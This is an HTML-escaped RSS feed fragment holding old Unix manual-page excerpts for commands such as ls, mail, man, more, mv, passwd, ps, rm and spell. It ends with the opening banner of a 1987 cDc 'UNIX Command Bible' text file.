--time=use&lt;br&gt;Sort directory contents according to the files&amp;#39; last access time instead of the modification time. If the long listing format is being used, print the last access time instead of the modification&lt;br&gt; time. &lt;br&gt;&lt;br&gt;-x, --format=across, --format=horizontal&lt;br&gt;List the files in columns, sorted horizontally. &lt;br&gt;&lt;br&gt;-A, --almost-all&lt;br&gt; List all files in directories, except for `.&amp;#39; and `..&amp;#39;. &lt;br&gt;&lt;br&gt;-B, --ignore-backups&lt;br&gt; Do not list files that end with `~&amp;#39;, unless they are given on the command line. &lt;br&gt;&lt;br&gt;-C, --format=vertical&lt;br&gt; List files in columns, sorted vertically. &lt;br&gt;&lt;br&gt;-F, --classify&lt;br&gt; Append a character to each file name indicating the file type. For regular files that are executable, append a `*&amp;#39;. The file type indicators are `/&amp;#39; for directories, `@&amp;#39; for symbolic links, `|&amp;#39; for FIFOs, `=&amp;#39; for sockets, and nothing for regular files. &lt;br&gt;&lt;br&gt;-G, --no-group&lt;br&gt;Inhibit display of group information in a long format directory listing. &lt;br&gt;&lt;br&gt;-L, --dereference&lt;br&gt;List the files linked to by symbolic links instead of listing the contents of the links. &lt;br&gt;&lt;br&gt;-N, --literal&lt;br&gt;Do not quote file names. &lt;br&gt;&lt;br&gt;-Q, --quote-name&lt;br&gt;Enclose file names in double quotes and quote nongraphic characters as in C. &lt;br&gt;&lt;br&gt;-R, --recursive&lt;br&gt;List the contents of all directories recursively. &lt;br&gt;&lt;br&gt;-S, --sort=size&lt;br&gt;Sort directory contents by file size instead of alphabetically, with the largest files listed first. &lt;br&gt;&lt;br&gt;-U, --sort=none&lt;br&gt;&lt;br&gt;Do not sort directory contents; list them in whatever order they are stored on the disk. This option is not called -f because the Unix ls -f option also enables -a and disables -l, -s, and -t. It seems useless and ugly to group those unrelated things together in one option. Since this option doesn&amp;#39;t do that, it has a different name. &lt;br&gt;&lt;br&gt;-X, --sort=extension&lt;br&gt;Sort directory contents alphabetically by file extension (characters after the last `.&amp;#39;); files with no extension are sorted first. &lt;br&gt;&lt;br&gt;-1, --format=single-column&lt;br&gt;List one file per line. &lt;br&gt;&lt;br&gt;-w, --width cols&lt;br&gt;Assume the screen is cols columns wide. The default is taken from the terminal driver if possible; otherwise the environment variable COLUMNS is used if it is set; otherwise the default is 80. &lt;br&gt;&lt;br&gt;-T, --tabsize cols&lt;br&gt;Assume that each tabstop is cols columns wide. The default is 8. &lt;br&gt;&lt;br&gt;-I, --ignore pattern&lt;br&gt;Do not list files whose names match the shell pattern pattern unless they are given on the command line. As in the shell, an initial `.&amp;#39; in a filename does not match a wildcard at the start of pattern. &lt;br&gt;&lt;br&gt;--color, --colour, --color=yes, --colour=yes&lt;br&gt;Colorize the names of files depending on the type of file. See DISPLAY COLORIZATION below. &lt;br&gt;&lt;br&gt;--color=tty, --colour=tty&lt;br&gt;Same as --color but only if standard output is a terminal. This is very useful for shell scripts and command aliases, especially if your favorite pager does not support color control codes. &lt;br&gt;&lt;br&gt;--color=no, --colour=no&lt;br&gt;Disables colorization. This is the default. Provided to override a previous color option. &lt;br&gt;&lt;br&gt;--help&lt;br&gt;Print a usage message on standard output and exit successfully. &lt;br&gt;&lt;br&gt;--version&lt;br&gt;Print version information on standard output then exit successfully. &lt;br&gt;&lt;br&gt;DISPLAY COLORIZATION&lt;br&gt;When using the --color option, this version of ls will colorize the file names printed according to the name and type of file. By default, this colorization is by type only, and the codes used are ISO 6429 (ANSI) compliant. &lt;br&gt;&lt;br&gt;You can override the default colors by defining the environment variable LS_COLORS (or LS_COLOURS). The format of this variable is reminicent of the termcap(5) file format; a colon-separated list of expressions of the form &amp;quot;xx=string&amp;quot;, where &amp;quot;xx&amp;quot; is a two-character variable name. The variables with their associated defaults are: &lt;br&gt;&lt;br&gt;no &lt;br&gt;0 Normal (non-filename) text &lt;br&gt;&lt;br&gt;fi &lt;br&gt;0 Regular file di 32 Directory &lt;br&gt;&lt;br&gt;ln &lt;br&gt;36 Symbolic link &lt;br&gt;&lt;br&gt;pi &lt;br&gt;31 Named pipe (FIFO) so 33 Socket &lt;br&gt;&lt;br&gt;bd &lt;br&gt;44;37 Block device &lt;br&gt;&lt;br&gt;cd &lt;br&gt;44;37 Character device &lt;br&gt;&lt;br&gt;ex &lt;br&gt;35 Executable file &lt;br&gt;&lt;br&gt;mi &lt;br&gt;(none) Missing file (defaults to fi) &lt;br&gt;&lt;br&gt;or &lt;br&gt;(none) Orphanned symbolic link (defaults to ln) &lt;br&gt;&lt;br&gt;lc &lt;br&gt;\e[ Left code &lt;br&gt;&lt;br&gt;rc &lt;br&gt;m Right code &lt;br&gt;&lt;br&gt;ec &lt;br&gt;(none) End code (replaces lc+no+rc) &lt;br&gt;&lt;br&gt;You only need to include the variables you want to change from the default. &lt;br&gt;&lt;br&gt;File names can also be colorized based on filename extension. This is specified in the LS_COLORS variable using the syntax &amp;quot;*ext=string&amp;quot;. For example, using ISO 6429 codes, to color all C-language source files blue you would specify &amp;quot;*.c=34&amp;quot;. This would color all files ending in .c in blue (34) color. &lt;br&gt;&lt;br&gt;Control characters can be written either in C-style \escaped notation, or in stty-like ^-notation. The C-style notation adds \e for Escape, \_ for a normal space characer, and \? for Delete. In addition, the \ escape character can be used to override the default interpretation of \, ^, : and =. &lt;br&gt;&lt;br&gt;Each file will be written as &amp;lt;lc&amp;gt; &amp;lt;color code&amp;gt; &amp;lt;rc&amp;gt; &amp;lt;filename&amp;gt; &amp;lt;ec&amp;gt;. If the &amp;lt;ec&amp;gt; code is undefined, the sequence &amp;lt;lc&amp;gt; &amp;lt;no&amp;gt; &amp;lt;rc&amp;gt; will be used instead. This is generally more convenient to use, but less general. The left, right and end codes are provided so you don&amp;#39;t have to type common parts over and over again and to support weird terminals; you will generally not need to change them at all unless your terminal does not use ISO 6429 color sequences but a different system. &lt;br&gt;&lt;br&gt;If your terminal does use ISO 6429 color codes, you can compose the type codes (i.e. all except the lc, rc, and ec codes) from numerical commands separated by semicolons. The most common commands are: &lt;br&gt;&lt;br&gt;0 &lt;br&gt;to restore default color &lt;br&gt;&lt;br&gt;1 &lt;br&gt;for brighter colors &lt;br&gt;&lt;br&gt;4 &lt;br&gt;for underlined text &lt;br&gt;&lt;br&gt;5 &lt;br&gt;for flashing text &lt;br&gt;&lt;br&gt;30 &lt;br&gt;for black foreground &lt;br&gt;&lt;br&gt;31 &lt;br&gt;for red foreground &lt;br&gt;&lt;br&gt;32 &lt;br&gt;for green foreground &lt;br&gt;&lt;br&gt;33 &lt;br&gt;for yellow (or brown) foreground &lt;br&gt;&lt;br&gt;34 &lt;br&gt;for blue foreground &lt;br&gt;&lt;br&gt;35 &lt;br&gt;for purple foreground &lt;br&gt;&lt;br&gt;36 &lt;br&gt;for cyan foreground &lt;br&gt;&lt;br&gt;37 &lt;br&gt;for white (or gray) foreground &lt;br&gt;&lt;br&gt;40 &lt;br&gt;for black background &lt;br&gt;&lt;br&gt;41 &lt;br&gt;for red background &lt;br&gt;&lt;br&gt;42 &lt;br&gt;for green background &lt;br&gt;&lt;br&gt;43 &lt;br&gt;for yellow (or brown) background &lt;br&gt;&lt;br&gt;44 &lt;br&gt;for blue background &lt;br&gt;&lt;br&gt;45 &lt;br&gt;for purple background &lt;br&gt;&lt;br&gt;46 &lt;br&gt;for cyan background &lt;br&gt;&lt;br&gt;47 &lt;br&gt;for white (or gray) background &lt;br&gt;&lt;br&gt;Not all commands will work on all systems or display devices. &lt;br&gt;&lt;br&gt;A few terminal programs do not recognize the default end code properly. If all text gets colorized after you do a directory listing, try changing the no and fi codes from 0 to the numerical codes for your standard fore- and background colors. &lt;br&gt;&lt;br&gt;mail: mail is a comfortable, flexible, interactive program for composing, sending and receiving electronic messages. While reading messages, mail provides you with commands to browse, display, save, delete, and respond to messages. While sending mail, mail allows editing and reviewing of messages being composed, and the inclusion of text from files or other messages. &lt;br&gt;&lt;br&gt;Incoming mail is stored in the system mailbox for each user. This is a file named after the user in /var/spool/mail. mail normally looks in this file for incoming messages, but you can use the MAIL environment variable to have it look in a different file. When you read a message, it is marked to be moved to a secondary file for storage. This secondary file, called the mbox, is normally the file&lt;br&gt;mbox in your home directory. This file can also be changed by setting the MBOX environment variable. Messages remain in the mbox file until deliberately removed.&lt;br&gt;&lt;br&gt;If no recipient is specified, mail attempts to read messages from the system mailbox. &lt;br&gt;&lt;br&gt;-d &lt;br&gt;Turn on debugging output. (Neither particularly interesting nor recommended.) &lt;br&gt;&lt;br&gt;-e &lt;br&gt;Test for presence of mail. If there is no mail, mail prints nothing and exits (with a successful return code). &lt;br&gt;&lt;br&gt;-F &lt;br&gt;Record the message in a file named after the first recipient. Override the record variable, if set. &lt;br&gt;&lt;br&gt;-H &lt;br&gt;Print header summary only. &lt;br&gt;&lt;br&gt;-i &lt;br&gt;Ignore interrupts (as with the ignore variable). &lt;br&gt;&lt;br&gt;-n &lt;br&gt;Do not initialize from the system default Mail.rc file. &lt;br&gt;&lt;br&gt;-N &lt;br&gt;Do not print initial header summary. &lt;br&gt;&lt;br&gt;-U &lt;br&gt;Convert uucp style addresses to Internet standards. Overrides the conv environment variable.&lt;br&gt;&lt;br&gt;-v &lt;br&gt;Pass the -v flag to sendmail(8). &lt;br&gt;&lt;br&gt;-f [filename] Read messages from filename instead of system mailbox. If no filename is specified, the mbox is used. &lt;br&gt;&lt;br&gt;-f +folder &lt;br&gt;Use the file folder in the folder directory (same as the folder command). The name of this directory is listed in the folder variable. &lt;br&gt;&lt;br&gt;-h number &lt;br&gt;The number of network &amp;quot;hops&amp;quot; made so far. This is provided for network software to avoid infinite delivery loops. &lt;br&gt;&lt;br&gt;-r address &lt;br&gt;Pass address to network delivery software. All tilde (~) commands are disabled. &lt;br&gt;&lt;br&gt;-s subject &lt;br&gt;Set the Subject header field to subject. &lt;br&gt;&lt;br&gt;-T file &lt;br&gt;Print the contents of the article-id fields of all messages that were read or deleted on file (for the use of network news programs if available). &lt;br&gt;&lt;br&gt;-u user &lt;br&gt;Read user&amp;#39;s system mailbox. This is only effective if user&amp;#39;s system mailbox is not read protected.&lt;br&gt;&lt;br&gt;man: man displays information from the reference manuals. It can display complete manual pages that you select by title, or one-line summaries selected either by keyword (-k), or by the name of an associated file (-f). &lt;br&gt;&lt;br&gt;A section, when given, applies to the titles that follow it on the command line (up to the next section, if any). man looks in the indicated section of the manual for those titles. section is either a digit (perhaps followed by a single letter indicating the type of manual page), or one of the words new, local, old, or public. The abbreviations n, l, o and p are also allowed. If section is omitted, man searches all reference sections (giving preference to commands over functions) and prints the first manual page it finds. If no manual page is located, man prints an error message. &lt;br&gt;&lt;br&gt;The reference page sources are typically located in the /usr/man/man? directories. Since these directories are optionally installed, they may not reside on your host; you may have to mount /usr/man from a host on which they do reside. If there are preformatted, up-to-date versions in corresponding cat? or fmt? directories, man simply displays or prints those versions. If the&lt;br&gt;preformatted version of interest is out of date or missing, man reformats it prior to display. If directories for the preformatted versions are not provided, man reformats a page whenever it is requested; it uses a temporary file to store the formatted text during display. &lt;br&gt;&lt;br&gt;If the standard output is not a terminal, or if the `-&amp;#39; flag is given, man pipes its output through cat(1V). Otherwise, man pipes its output through more(1) to handle paging and underlining on the screen.&lt;br&gt;&lt;br&gt;-t man arranges for the specified manual pages to be troffed to a suitable raster output device (see troff(1) or vtroff(1)). If both the - and -t flags are given, man updates the troffed versions of each named title (if necessary), but does not display them. &lt;br&gt;&lt;br&gt;-M path&lt;br&gt;Change the search path for manual pages. path is a colon-separated list of directories that contain manual page directory subtrees. For example, /usr/man/u_man:/usr/man/a_man makes man search in the standard System V locations. When used with the -k or -f options, the -M option must appear first. Each directory in the path is assumed to contain subdirectories of the form man[1-8l-p]. &lt;br&gt;&lt;br&gt;-T macro-package&lt;br&gt;man uses macro-package rather than the standard -man macros defined in&lt;br&gt;/usr/lib/tmac/tmac.an for formatting manual pages. &lt;br&gt;&lt;br&gt;-k keyword ...&lt;br&gt;man prints out one-line summaries from the whatis database (table of contents) that contain any of the given keywords. The whatis database is created using the catman(8) command with the -w option. &lt;br&gt;&lt;br&gt;-f filename ...&lt;br&gt;man attempts to locate manual pages related to any of the given filenames. It strips the leading pathname components from each filename, and then prints one-line summaries containing the resulting basename or names. This option also uses the whatis database. &lt;br&gt;&lt;br&gt;mkdir: mkdir creates directories. Standard entries, `.&amp;#39;, for the directory itself, and `..&amp;#39; for its parent, are made automatically. &lt;br&gt;&lt;br&gt;The -p flag allows missing parent directories to be created as needed. &lt;br&gt;&lt;br&gt;With the exception of the set-gid bit, the current umask(2V) setting determines the mode in which directories are created. The new directory inherits the set-gid bit of the parent directory. Modes may be modified after creation by using chmod(1V). &lt;br&gt;&lt;br&gt;mkdir requires write permission in the parent directory.&lt;br&gt;&lt;br&gt;more: more is a filter that displays the contents of a text file on the terminal, one screenful at a time. It normally pauses after each screenful, and prints --More-- at the bottom of the screen. more provides a two-line overlap between screens for continuity. If more is reading from a file rather than a pipe, the percentage of characters displayed so far is also shown. &lt;br&gt;&lt;br&gt;more scrolls up to display one more line in response to a RETURN character; it displays another screenful in response to a SPACE character. Other commands are listed below. &lt;br&gt;&lt;br&gt;page clears the screen before displaying the next screenful of text; it only provides a one-line overlap between screens. &lt;br&gt;&lt;br&gt;more sets the terminal to noecho mode, so that the output can be continuous. Commands that you type do not normally show up on your terminal, except for the / and ! commands. &lt;br&gt;&lt;br&gt;If the standard output is not a terminal, more acts just like cat(1V), except that a header is printed before each file in a series.&lt;br&gt;&lt;br&gt;-c Clear before displaying. Redrawing the screen instead of scrolling for faster displays. This option is ignored if the terminal does not have the ability to clear to the end of a line. &lt;br&gt;&lt;br&gt;-d &lt;br&gt;Display error messages rather than ringing the terminal bell if an unrecognized command is used. This is helpful for inexperienced users. &lt;br&gt;&lt;br&gt;-f &lt;br&gt;Do not fold long lines. This is useful when lines contain nonprinting characters or escape sequences, such as those generated when nroff(1) output is piped through ul(1). &lt;br&gt;&lt;br&gt;-l &lt;br&gt;Do not treat FORMFEED characters (CTRL-D) as &amp;quot;page breaks.&amp;quot; If -l is not used, more pauses to accept commands after any line containing a ^L character (CTRL-D). Also, if a file begins with a FORMFEED, the screen is cleared before the file is printed. &lt;br&gt;&lt;br&gt;-s &lt;br&gt;Squeeze. Replace multiple blank lines with a single blank line. This is helpful when viewing nroff(1) output, on the screen. &lt;br&gt;&lt;br&gt;-u &lt;br&gt;Suppress generation of underlining escape sequences. Normally, more handles underlining, such as that produced by nroff(1), in a manner appropriate to the terminal. If the terminal can perform underlining or has a stand-out mode, more supplies appropriate escape sequences as called for in the text file. &lt;br&gt;&lt;br&gt;-lines&lt;br&gt;Display the indicated number of lines in each screenful, rather than the default (the number of lines in the terminal screen less two). &lt;br&gt;&lt;br&gt;+linenumber&lt;br&gt;Start up at linenumber. &lt;br&gt;&lt;br&gt;+/pattern&lt;br&gt;Start up two lines above the line containing the regular expression pattern. Note: unlike editors, this construct should not end with a `/&amp;#39;. If it does, then the trailing slash is taken as a character in the search pattern.&lt;br&gt;&lt;br&gt;mv: mv moves files and directories around in the file system. A side effect of mv is to rename a file or directory. The three major forms of mv are shown in the synopsis above. &lt;br&gt;&lt;br&gt;The first form of mv moves (changes the name of) filename1 to filename2. If filename2 already exists, it is removed before filename1 is moved. If filename2 has a mode which forbids writing, mv prints the mode (see chmod(2V)) and reads the standard input to obtain a line; if the line begins with y, the move takes place, otherwise mv exits. &lt;br&gt;&lt;br&gt;The second form of mv moves (changes the name of) directory1 to directory2, only if directory2 does not already exist if it does, the third form applies. &lt;br&gt;&lt;br&gt;The third form of mv moves one or more filenames (may also be directories) with their original names, into the last directory in the list. &lt;br&gt;&lt;br&gt;mv refuses to move a file or directory onto itself.&lt;br&gt;- &lt;br&gt;Interpret all the following arguments to mv as file names. This allows file names starting with minus. &lt;br&gt;&lt;br&gt;-f &lt;br&gt;Force. Override any mode restrictions and the -i option. The -f option also suppresses any warning messages about modes which would potentially restrict overwriting. &lt;br&gt;&lt;br&gt;-i &lt;br&gt;Interactive mode. mv displays the name of the file or directory followed by a question mark whenever a move would replace an existing file or directory. If you type a line starting with y, mv moves the specified file or directory, otherwise mv does nothing with that file or directory.&lt;br&gt;&lt;br&gt;passwd: passwd changes (or installs) a password, login shell (-s option), or full name (-f option) associated with the user username (your own by default). chsh is equivalent to passwd with the -s option, and chfn is equivalent to passwd with the -f option. &lt;br&gt;&lt;br&gt;Use `passwd -y&amp;#39; or yppasswd(1) to change your password in the Network Information Service (NIS). This will not affect your local password, or your password on any remote machines on which you have accounts. passwd calls yppasswd automatically if you do not have an entry in the local passwd file, and the -l option is not specified. &lt;br&gt;&lt;br&gt;When changing a password, passwd prompts for the old password and then for the new one. You must supply both, and the new password must be typed twice to forestall mistakes. &lt;br&gt;&lt;br&gt;If password aging is enabled, the first time an ordinary user enters the new password passwd checks to see if the old password has &amp;quot;aged&amp;quot; sufficiently. Password &amp;quot;aging&amp;quot; is the amount of time (usually a certain number of days) that must elapse between password changes. If &amp;quot;aging&amp;quot; is insufficient the new password is rejected and passwd terminates. &lt;br&gt;&lt;br&gt;New passwords should be at least five characters long, if they combine upper-case and lower-case letters, or at least six characters long if in monocase. Users that persist in entering shorter passwords are compromising their own security. The number of significant characters in a password is eight, although longer passwords will be accepted. &lt;br&gt;&lt;br&gt;Only the owner of the name or the super-user may change a password; the owner must prove he knows the old password. The super-user can change any password and is not forced to comply with password aging requirements. &lt;br&gt;&lt;br&gt;When changing a login shell, passwd displays the current login shell and then prompts for the new one. The new login shell must be one of the approved shells listed in /etc/shells unless you are the super-user. If /etc/shells does not exist, the only shells that may be specified are /bin/sh and /bin/csh.&lt;br&gt;&lt;br&gt;The super-user may change anyone&amp;#39;s login shell; normal users may only change their own login shell.&lt;br&gt;&lt;br&gt;When changing a full name, passwd displays the current full name, enclosed between brackets, and prompts for a new full name. If you type a RETURN, the full name is not changed. If the full name is to be made blank, you must type the word &amp;quot;none&amp;quot;. &lt;br&gt;&lt;br&gt;The super-user may change anyone&amp;#39;s full name; normal users may only change their own. &lt;br&gt;&lt;br&gt;-a Display the name and aging information for all users. Can only be invoked by the super-user. &lt;br&gt;&lt;br&gt;-f &lt;br&gt;Change the full name. &lt;br&gt;&lt;br&gt;-l &lt;br&gt;Change the local password, login shell, or full name. If username exists in the local passwd file, this is the default. &lt;br&gt;&lt;br&gt;-s &lt;br&gt;Change the login shell. &lt;br&gt;&lt;br&gt;-y &lt;br&gt;Change passwd, login shell, or full name in the NIS database. &lt;br&gt;&lt;br&gt;-d [username]&lt;br&gt;Display the name and aging information for the caller or the user specified if the invoker has the right privileges. &lt;br&gt;&lt;br&gt;-e username&lt;br&gt;Expire the password for the user name specified. Can only be invoked by the super-user. &lt;br&gt;&lt;br&gt;-F filename&lt;br&gt;Treat filename as the password file. &lt;br&gt;&lt;br&gt;-n numdays username&lt;br&gt;Set the maturity time of the password for username. Passwords that have not &amp;quot;aged&amp;quot; enough cannot be changed. Can only be set by the super-user. &lt;br&gt;&lt;br&gt;-x numdays username&lt;br&gt;&lt;br&gt;Set the expiration time of the password for username. Can only be set by the super-user.&lt;br&gt;&lt;br&gt;ps: ps displays information about processes. Normally, only those processes that are running with your effective user ID and are attached to a controlling terminal (see termio(4)) are shown. Additional categories of processes can be added to the display using various options. In particular, the -a option allows you to include processes that are not owned by you (that do not have your user ID), and the -x option allows you to include processes without control terminals. When you specify both -a and -x, you get processes owned by anyone, with or without a control terminal. The -r option restricts the list of processes printed to &amp;quot;running&amp;quot; processes: runnable processes, those in page wait, or those in short-term non-interruptible waits. &lt;br&gt;&lt;br&gt;ps displays the process ID, under PID; the control terminal (if any), under TT; the cpu time used by the process so far, including both user and system time), under TIME; the state of the process, under STAT; and finally, an indication of the COMMAND that is running. &lt;br&gt;&lt;br&gt;The state is given by a sequence of four letters, for example, `RWNA&amp;#39;. &lt;br&gt;&lt;br&gt;First letter indicates the runnability of the process: &lt;br&gt;&lt;br&gt;R &lt;br&gt;Runnable processes. &lt;br&gt;&lt;br&gt;T &lt;br&gt;Stopped processes. &lt;br&gt;&lt;br&gt;P &lt;br&gt;Processes in page wait. &lt;br&gt;&lt;br&gt;D &lt;br&gt;Processes in non-interruptible waits; typically short-term waits for disk or NFS I/O. &lt;br&gt;&lt;br&gt;S &lt;br&gt;Processes sleeping for less than about 20 seconds. &lt;br&gt;&lt;br&gt;I &lt;br&gt;Processes that are idle (sleeping longer than about 20 seconds). &lt;br&gt;&lt;br&gt;Z &lt;br&gt;Processes that have terminated and that are waiting for their parent process to do a wait(2V) (&amp;quot;zombie&amp;quot; processes). &lt;br&gt;&lt;br&gt;Second letter indicates whether a process is swapped out; blank Represented as a SPACE character, in this position indicates that the process is loaded (in memory). &lt;br&gt;&lt;br&gt;W &lt;br&gt;Process is swapped out. &lt;br&gt;&lt;br&gt;&amp;gt; &lt;br&gt;Process has specified a soft limit on memory requirements and has exceeded that limit; such a process is (necessarily) not swapped. &lt;br&gt;&lt;br&gt;Third letter indicates whether a process is running with altered CPU scheduling priority (nice(1)): blank Represented as a SPACE character, in this position indicates that the process is running without special treatment.&lt;br&gt;&lt;br&gt;N &lt;br&gt;The process priority is reduced, &lt;br&gt;&lt;br&gt;&amp;lt; &lt;br&gt;The process priority has been raised artificially. &lt;br&gt;&lt;br&gt;Fourth letter indicates any special treatment of the process for virtual memory replacement. The letters correspond to options to the vadvise(2) system call. Currently the possibilities are: blank Represented as a SPACE character, in this position stands for VA_NORM. &lt;br&gt;&lt;br&gt;A &lt;br&gt;Stands for VA_ANOM. An A typically represents a program which is doing garbage collection. &lt;br&gt;&lt;br&gt;S &lt;br&gt;Stands for VA_SEQL. An S is typical of large image processing programs that are using virtual memory to sequentially address voluminous data. &lt;br&gt;&lt;br&gt;kernel-name specifies the location of the system namelist. If the -k option is given, c-dump-file tells ps where to look for the core dump. Otherwise, the core dump is located in the file /vmcore and this argument is ignored. swap-file gives the location of a swap file other than the default, /dev/drum.&lt;br&gt;&lt;br&gt;pwd: pwd prints the pathname of the working (current) directory. &lt;br&gt;&lt;br&gt;If you are using csh(1), you can use the dirs builtin command to do the same job more quickly; but dirs can give a different answer in the rare case that the current directory or a containing directory was moved after the shell descended into it. This is because pwd searches back up the directory tree to report the true pathname, whereas dirs remembers the pathname from the last cd(1)&lt;br&gt;command. The example below illustrates the differences. &lt;br&gt;&lt;br&gt;example% cd /usr/wendy/january/reports example% pwd&lt;br&gt;/usr/wendy/january/reports&lt;br&gt;example% dirs&lt;br&gt;~/january/reports&lt;br&gt;example% mv ~/january ~/february&lt;br&gt;example% pwd&lt;br&gt;/usr/wendy/february/reports&lt;br&gt;example% dirs&lt;br&gt;~/january/reports&lt;br&gt;example% &lt;br&gt;&lt;br&gt;pwd and dirs also give different answers when you change directory through a symbolic link. For example: &lt;br&gt;&lt;br&gt;example% cd /usr/wendy/january/reports example% pwd&lt;br&gt;/usr/wendy/january/reports&lt;br&gt;example% dirs&lt;br&gt;~/january/reports&lt;br&gt;example% ls -l /usr/wendy/january&lt;br&gt;lrwxrwxrwx 1 wendy 17 Jan 30 1983 /usr/wendy/january -&amp;gt; /usr/wendy/1984/jan/ example% cd&lt;br&gt;/usr/wendy/january&lt;br&gt;example% pwd&lt;br&gt;/usr/wendy/1984/jan&lt;br&gt;example% dirs&lt;br&gt;/usr/wendy/january &lt;br&gt;&lt;br&gt;The pathnames of files mounted with the Automounter can also change if the file is not used for a certain time interval (the default is five minutes). &lt;br&gt;&lt;br&gt;rm: rm removes (directory entries for) one or more files. If an entry was the last link to the file, the contents of that file are lost. See ln(1V) for more information about multiple links to files. &lt;br&gt;&lt;br&gt;To remove a file, you must have write permission in its directory; but you do not need read or write permission on the file itself. If you do not have write permission on the file and the standard input is a terminal, rm displays the file&amp;#39;s permissions and waits for you to type in a response. If your response&lt;br&gt;begins with y the file is deleted; otherwise the file is left alone. &lt;br&gt;&lt;br&gt;rmdir removes each named directory. rmdir only removes empty directories.&lt;br&gt;- &lt;br&gt;Treat the following arguments as filenames `-&amp;#39; so that you can specify filenames starting with a minus. &lt;br&gt;&lt;br&gt;-f &lt;br&gt;Force files to be removed without displaying permissions, asking questions or reporting errors. &lt;br&gt;&lt;br&gt;-i &lt;br&gt;Ask whether to delete each file, and, under -r, whether to examine each directory. Sometimes called the interactive option. &lt;br&gt;&lt;br&gt;-r &lt;br&gt;Recursively delete the contents of a directory, its subdirectories, and the directory itself.&lt;br&gt;&lt;br&gt;rmdir: rm removes (directory entries for) one or more files. If an entry was the last link to the file, the contents of that file are lost. See ln(1V) for more information about multiple links to files. &lt;br&gt;&lt;br&gt;To remove a file, you must have write permission in its directory; but you do not need read or write permission on the file itself. If you do not have write permission on the file and the standard input is a terminal, rm displays the file&amp;#39;s permissions and waits for you to type in a response. If your response&lt;br&gt;begins with y the file is deleted; otherwise the file is left alone. &lt;br&gt;&lt;br&gt;rmdir removes each named directory. rmdir only removes empty directories.&lt;br&gt;- &lt;br&gt;Treat the following arguments as filenames `-&amp;#39; so that you can specify filenames starting with a minus. &lt;br&gt;&lt;br&gt;-f &lt;br&gt;Force files to be removed without displaying permissions, asking questions or reporting errors. &lt;br&gt;&lt;br&gt;-i &lt;br&gt;Ask whether to delete each file, and, under -r, whether to examine each directory. Sometimes called the interactive option. &lt;br&gt;&lt;br&gt;-r &lt;br&gt;Recursively delete the contents of a directory, its subdirectories, and the directory itself.&lt;br&gt;&lt;br&gt;spell: spell collects words from the named files, and looks them up in a hashed spelling list. Words that do not appear in the list, or cannot be derived from those that do appear by applying certain inflections, prefixes or suffixes, are displayed on the standard output. &lt;br&gt;&lt;br&gt;If there are no filename arguments, words to check are collected from the standard input. spell ignores most troff(1), tbl(1), and eqn(1) constructs. Copies of all output words are accumulated in the history file, and a stop list filters out misspellings (for example, their=thy-y+ier) that would otherwise pass. &lt;br&gt;&lt;br&gt;By default, spell (like deroff(1)) follows chains of included files (.so and .nx troff(1) requests), unless the names of such included files begin with /usr/lib. &lt;br&gt;&lt;br&gt;If a +local_file argument is specified, words found in local_file are removed from spell&amp;#39;s output. local_file is the name of a user-provided file that contains a sorted list of words, one per line. With this option, the user can specify a set of words that are correct spellings (in addition to spell&amp;#39;s own&lt;br&gt;spelling list) for each job. &lt;br&gt;&lt;br&gt;The standard spelling list is based on many sources, and while more haphazard than an ordinary dictionary, is also more effective in respect to proper names and popular technical words. Coverage of the specialized vocabularies of biology, medicine and chemistry is light. &lt;br&gt;&lt;br&gt;Three programs help maintain and check the hash lists used by spell: &lt;br&gt;&lt;br&gt;hashmake &lt;br&gt;Reads a list of words from the standard input and writes the corresponding nine-digit hash code on the standard output. &lt;br&gt;&lt;br&gt;spellin &lt;br&gt;Reads n hash codes from the standard input and writes a compressed spelling list on the standard output. &lt;br&gt;&lt;br&gt;hashcheck Reads a compressed spelling_list and recreates the nine-digit hash codes for all the words in it; it writes these codes on the standard output.&lt;br&gt;&lt;br&gt;-b &lt;br&gt;Check British spelling. Besides preferring &amp;quot;centre&amp;quot;, &amp;quot;colour&amp;quot;, &amp;quot;programme&amp;quot;, &amp;quot;speciality&amp;quot;, &amp;quot;travelled&amp;quot;, and so on, this option insists upon -ise in words like standardize, despite what Fowler and the OED say. &lt;br&gt;&lt;br&gt;-l &lt;br&gt;Follow the chains of all included files. &lt;br&gt;&lt;br&gt;-v &lt;br&gt;Print all words not literally in the spelling list, as well as plausible derivations from spelling list words. &lt;br&gt;&lt;br&gt;-x &lt;br&gt;Print every plausible stem with `=&amp;#39; for each word. &lt;br&gt;&lt;br&gt;-d hlist &lt;br&gt;Use the file hlist as the hashed spelling list. &lt;br&gt;&lt;br&gt;-h spellhist&lt;br&gt;Place misspelled words with a user/date stamp in file spellhist. &lt;br&gt;&lt;br&gt;-s hstop &lt;br&gt;Use hstop as the hashed stop list.&lt;br&gt;&lt;br&gt;&lt;br&gt;Not all command descriptions were listed here. But look for the update to this text, it will have more commands and more descriptions. This text file was just one of the many files made by The Psychotic Internet Services.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Unix bible</title><link>http://blacklibrary.wetpaint.com/page/Unix+bible</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Unix+bible</guid><pubDate>Wed, 18 Feb 2009 23:35:05 CST</pubDate><description>_______________________________________________________________________________&lt;br&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; _ _ _ _&lt;br&gt; ((___)) ((___))&lt;br&gt; [ x x ] cDc communications, inc. [ x x ]&lt;br&gt; \ / presents... \ /&lt;br&gt; (` &amp;#39;) (` &amp;#39;)&lt;br&gt; (U) (U)&lt;br&gt;&lt;br&gt; Gibe&amp;#39;s UNIX COMMAND Bible&lt;br&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt; The latest file from the Cow&amp;#39;s Information Series,&lt;br&gt; Franken&amp;#39;s UNIX Command Bible is suitable for the UNIX&lt;br&gt; dilettante, as well as for the hardcore hack. Provides&lt;br&gt; easy reference for those hard-to-remember commands.&lt;br&gt; Attractive print-out fits well in any decor.&lt;br&gt;&lt;br&gt;&lt;br&gt; Edited by High Priest and Scribe, F. Gibe&lt;br&gt;&lt;br&gt; &amp;quot;Smash the State! Have a Nice Day!&amp;quot; ........ 1987&lt;br&gt;&lt;br&gt;_______________________________________________________________________________&lt;br&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br&gt;&lt;br&gt; Command Description&lt;br&gt; ~~~~~~~ 